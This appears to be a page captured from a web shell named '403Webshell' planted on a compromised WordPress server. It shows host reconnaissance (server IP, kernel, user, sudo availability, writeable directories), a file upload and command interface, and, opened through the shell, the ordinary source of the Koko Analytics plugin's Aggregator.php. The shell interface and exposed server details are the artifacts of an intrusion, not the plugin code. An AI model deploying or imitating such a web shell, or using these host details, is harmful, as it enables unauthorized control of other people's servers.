403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/mastersystem.app/public/wp-content/plugins/koko-analytics/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/mastersystem.app/public/wp-content/plugins/koko-analytics/src/Aggregator.php
<?php

/**
 * @package koko-analytics
 * @license GPL-3.0+
 * @author Danny van Kooten
 */

namespace KokoAnalytics;

use Exception;

class Aggregator
{
    /**
     * Reads the buffer file into memory and moves data into the MySQL database (in bulk)
     *
     * @throws Exception
     */
    public function run(): void
    {
        update_option('koko_analytics_last_aggregation_at', \time(), true);

        $buffer_file = get_buffer_filename();

        // if buffer file does not exist, nothing happened since last aggregation
        if (! \is_file($buffer_file)) {
            return;
        }

        // init pageview aggregator
        $pageview_aggregator = new Pageview_Aggregator();

        // rename file to temporary location so nothing new is written to it while we process it
        $tmp_filename = $buffer_file . '.busy';
        $renamed = \rename($buffer_file, $tmp_filename);
        if ($renamed !== true) {
            if (WP_DEBUG) {
                throw new Exception('Error renaming buffer file.');
            } else {
                error_log('Koko Analytics: error renaming buffer file');
            }
            return;
        }

        // open file for reading
        $file_handle = \fopen($tmp_filename, 'r');
        if (! $file_handle) {
            if (WP_DEBUG) {
                throw new Exception('Error opening buffer file for reading.');
            } else {
                error_log('Koko Analytics: error opening buffer file for reading');
            }
            return;
        }

        while (($line = \fgets($file_handle)) !== false) {
            $line = \trim($line);
            if ($line === '' || $line === '<?php exit; ?>') {
                continue;
            }

            $params = \unserialize($line, ['allowed_classes' => false]);
            if (! \is_array($params)) {
                error_log('Koko Analytics: unserialize error encountered while processing line in buffer file');
                continue;
            }
            $type   = \array_shift($params);

            // core aggregator
            $pageview_aggregator->line($type, $params);

            // add-on aggregators
            do_action('koko_analytics_aggregate_line', $type, $params);
        }

        // close file & remove it from filesystem
        \fclose($file_handle);
        \unlink($tmp_filename);

        // tell aggregators to write their results to the database
        $pageview_aggregator->finish();
        do_action('koko_analytics_aggregate_finish');
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit